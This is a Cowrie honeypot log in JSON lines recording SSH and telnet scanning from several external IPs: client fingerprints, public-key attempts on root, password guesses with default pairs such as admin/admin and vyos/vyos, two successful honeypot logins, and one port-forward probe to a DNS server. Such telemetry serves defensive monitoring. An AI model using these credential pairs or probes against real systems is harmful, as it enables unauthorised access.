{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:22:74:d9:43:88:41:eb:1c:11:47:8d:3f:0c:3c:9d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIViuCr7i/XaDSJNVDp8SRvfC6qCJeQnfGIlrYq37AH8","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint da:22:74:d9:43:88:41:eb:1c:11:47:8d:3f:0c:3c:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.773734Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:22:74:d9:43:88:41:eb:1c:11:47:8d:3f:0c:3c:9d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIViuCr7i/XaDSJNVDp8SRvfC6qCJeQnfGIlrYq37AH8","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.779416Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:e6:61:7a:f5:fc:f8:ea:10:a2:43:21:f3:89:4b:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzI274L72ZaV4kqCrM0bENtookp1vSA8H0BLY8qTnwb/za9whU6FyIXfK0F4Vwmj76WA63TvjD8NmS8KSY0nQzpq9+xyj1omhNdzaKAavdFFo6el0zI4aSHn/63UqkAIuyHWZeERzJlizwb7pMGjmvHiosiyUWG5YcojNBJ4Q205K0Vlaii0gCbU1L2NkpfwgD3y0npvYUrZ7W2RcAtm/ygcq4adwTm8AU6V5/HO7cFVMWEr+X6qE9v5pYu6nzH/lK2MsdWJ0cmFAB+hsthBYUXU8kqSG1kCAhmBlIqk01YAHflwps5SaGN8UpTqsuVKZNJUZNp56prY5RHVDKmERZof/u87N9TBx5shFGqfLcUT453pQwZjq98mmukdd3zuSmprGjCyhW2xeFvCogdKlScwYCHbvvZ402tU+LZswwCwn3fA467X7gtI3FLsHYgNK8NE6f2AZcQ8olqRuUaOQhTmWIeNQ2MN2lQ56UIdCHV4QhPiLbKwoBPgdG0xYrVEGgrBhEimDxjlnhAYeikV8Pwkuh/qWkvPRrRKSsobleDjqIYXpf7amzh8pDqpLRXGfzcfzhbxwVRdWgiag63YOveX79C4yR09QP17oaJZ4hgy93RsqxiGnZAPnfsNTymBsHFfhIq2zPorIytpWxZPaNsq6ckXwytzFPAyCedncKlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:e6:61:7a:f5:fc:f8:ea:10:a2:43:21:f3:89:4b:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.855547Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:e6:61:7a:f5:fc:f8:ea:10:a2:43:21:f3:89:4b:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzI274L72ZaV4kqCrM0bENtookp1vSA8H0BLY8qTnwb/za9whU6FyIXfK0F4Vwmj76WA63TvjD8NmS8KSY0nQzpq9+xyj1omhNdzaKAavdFFo6el0zI4aSHn/63UqkAIuyHWZeERzJlizwb7pMGjmvHiosiyUWG5YcojNBJ4Q205K0Vlaii0gCbU1L2NkpfwgD3y0npvYUrZ7W2RcAtm/ygcq4adwTm8AU6V5/HO7cFVMWEr+X6qE9v5pYu6nzH/lK2MsdWJ0cmFAB+hsthBYUXU8kqSG1kCAhmBlIqk01YAHflwps5SaGN8UpTqsuVKZNJUZNp56prY5RHVDKmERZof/u87N9TBx5shFGqfLcUT453pQwZjq98mmukdd3zuSmprGjCyhW2xeFvCogdKlScwYCHbvvZ402tU+LZswwCwn3fA467X7gtI3FLsHYgNK8NE6f2AZcQ8olqRuUaOQhTmWIeNQ2MN2lQ56UIdCHV4QhPiLbKwoBPgdG0xYrVEGgrBhEimDxjlnhAYeikV8Pwkuh/qWkvPRrRKSsobleDjqIYXpf7amzh8pDqpLRXGfzcfzhbxwVRdWgiag63YOveX79C4yR09QP17oaJZ4hgy93RsqxiGnZAPnfsNTymBsHFfhIq2zPorIytpWxZPaNsq6ckXwytzFPAyCedncKlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.863214Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.938884Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53502,"dst_ip":"10.17.0.5","dst_port":22,"session":"819b063c8b40","protocol":"ssh","message":"New connection: 103.15.226.202:53502 (10.17.0.5:22) [session: 819b063c8b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:45.837596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:45.841825Z","src_ip":"103.15.226.202","session":"819b063c8b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:46.098886Z","src_ip":"103.15.226.202","session":"819b063c8b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:46.857279Z","src_ip":"103.15.226.202","session":"819b063c8b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:48.112813Z","src_ip":"103.15.226.202","session":"819b063c8b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":49848,"dst_ip":"10.17.0.5","dst_port":22,"session":"513f985f1452","protocol":"ssh","message":"New connection: 2.57.121.112:49848 (10.17.0.5:22) [session: 513f985f1452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:59.318438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:59.323441Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:59.433296Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"notime","message":"login attempt [admin/notime] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:59.930580Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"norcal","message":"login attempt [admin/norcal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:01.040074Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nora","message":"login attempt [admin/nora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:02.148872Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9a7ceb5c07c","protocol":"ssh","message":"New connection: 2.57.122.208:43128 (159.203.135.109:22) [session: c9a7ceb5c07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:02.731389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:02.839259Z","src_ip":"2.57.122.208","session":"c9a7ceb5c07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:03.021614Z","src_ip":"2.57.122.208","session":"c9a7ceb5c07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nopasswo","message":"login attempt [admin/nopasswo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:03.258183Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:03.729393Z","src_ip":"2.57.122.208","session":"c9a7ceb5c07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"noone","message":"login attempt [admin/noone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:04.367462Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:04.924593Z","src_ip":"2.57.122.208","session":"c9a7ceb5c07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:05.476070Z","src_ip":"2.57.121.112","session":"513f985f1452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31920,"dst_ip":"10.17.0.5","dst_port":22,"session":"e78735af3b82","protocol":"ssh","message":"New connection: 87.251.64.176:31920 (10.17.0.5:22) [session: e78735af3b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:40.477444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:40.485854Z","src_ip":"87.251.64.176","session":"e78735af3b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:40.575464Z","src_ip":"87.251.64.176","session":"e78735af3b82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:40.955051Z","src_ip":"87.251.64.176","session":"e78735af3b82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:41.053996Z","session":"e78735af3b82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:41.152728Z","src_ip":"87.251.64.176","session":"e78735af3b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:01:41.251690Z","src_ip":"87.251.64.176","session":"e78735af3b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":49438,"dst_ip":"159.203.135.109","dst_port":23,"session":"162aaa3e02b9","protocol":"telnet","message":"New connection: 129.232.238.42:49438 (159.203.135.109:23) [session: 162aaa3e02b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:13.113216Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":49450,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b688355a336","protocol":"telnet","message":"New connection: 129.232.238.42:49450 (159.203.135.109:23) [session: 8b688355a336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:15.261708Z"}
{"eventid":"cowrie.session.closed","duration":10.996830463409424,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:26.258400Z","src_ip":"129.232.238.42","session":"8b688355a336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":33102,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c6c62f5c26","protocol":"ssh","message":"New connection: 57.128.223.80:33102 (10.17.0.5:22) [session: 04c6c62f5c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:37.501997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:37.617090Z","src_ip":"57.128.223.80","session":"04c6c62f5c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37314,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56132136f8b","protocol":"ssh","message":"New connection: 2.57.122.208:37314 (159.203.135.109:22) [session: f56132136f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:37.627490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:37.641968Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:37.719010Z","src_ip":"57.128.223.80","session":"04c6c62f5c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:37.922055Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuser","password":"testing","message":"login attempt [tuser/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:38.190865Z","src_ip":"57.128.223.80","session":"04c6c62f5c26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:39.027153Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:39.300547Z","src_ip":"57.128.223.80","session":"04c6c62f5c26","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:39.667918Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
